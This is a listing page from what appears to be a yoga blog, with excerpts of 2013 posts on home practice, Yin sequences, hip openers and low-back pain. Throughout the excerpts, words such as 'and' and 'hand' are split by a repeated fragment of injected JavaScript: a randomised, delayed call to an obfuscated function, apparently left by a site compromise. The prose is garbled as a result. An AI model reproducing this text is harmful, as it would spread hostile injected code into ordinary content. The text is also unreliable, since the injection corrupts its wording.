How to Avoid Wrist Pain in Yoga
Creating a Personal Home Yoga Practice

  In our original Blog post Getting Back on Track (Check it out if you haven’t read it) we shared with you “Tips” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and “FAQ’s” to help you begin a personal home practice.  Since that post …

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Getting Back on Track

Creating a Personal Home Yoga Practice, it’s all about balance… I am sure everyone can relate to life getting in the way of putting our own health & wellness first.  I have had numerous family andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), …

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Yin Pose for Stress or Anxiety
inspiration December 11, 2013 Yin Series, Yoga no discussions

Yin Pose to relieve stress or anxiety Holidays have you frazzled?  Has travel left you anxious or ungrounded?  Work deadlines closing in on you?  Whatever complication life is handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding you, take this simple 10 minute …

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Wintertime Yin Sequence
inspiration December 4, 2013 Winter, Yin Series, Yoga no discussions

Running errandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands the other day, I noticed how many people were bustling around with their shoulders hunched forward andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands shoved into their pockets.   …

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Nourishing Supported Yin Sequence
inspiration November 20, 2013 Yin Series, Yoga no discussions

This time of year, you may naturally find yourself more drawn to quiet, inward activities such as reading a book, working on a craft, or finally watching Food Inc. on a Saturday night instead of going out with friends.  This …

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30 Minute Hip Sequence {Yin Series}
inspiration November 13, 2013 Yin Series, Yoga no discussions

The holiday season is fast approaching, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and no matter how hard we try each year, self care still slips out the window.  We try to stay committed to eating well, going to yoga, drinking enough …

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Yin Sequence for Low-Back Pain
inspiration November 6, 2013 Yin Series, Yoga no discussions

A staggering 60-80% of Americans suffer from low back pain, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it is the second most common reason for doctors visits.  And- low back pain is the single leading cause of disability worldwide. Too much …

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30 Minute Lunchbreak Yin Sequence
inspiration October 23, 2013 Yin Series, Yoga no discussions

Now that we’ve covered the vast majority of Yin poses, it’s time to start linking them together to reap even greater benefits.  This quick andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and simple sequence is perfect for a mid-day pick-me-up, especially since …

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Swan andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sleeping Swan {Yin Series}
inspiration October 23, 2013 Yin Series, Yoga no discussions

As we near the end of the Yin asana list, have you noticed a trend? The vast majority of Yin poses focus mostly on the lower half of the body. Before we broach the one major shoulder opener (don’t worry, it’s coming …

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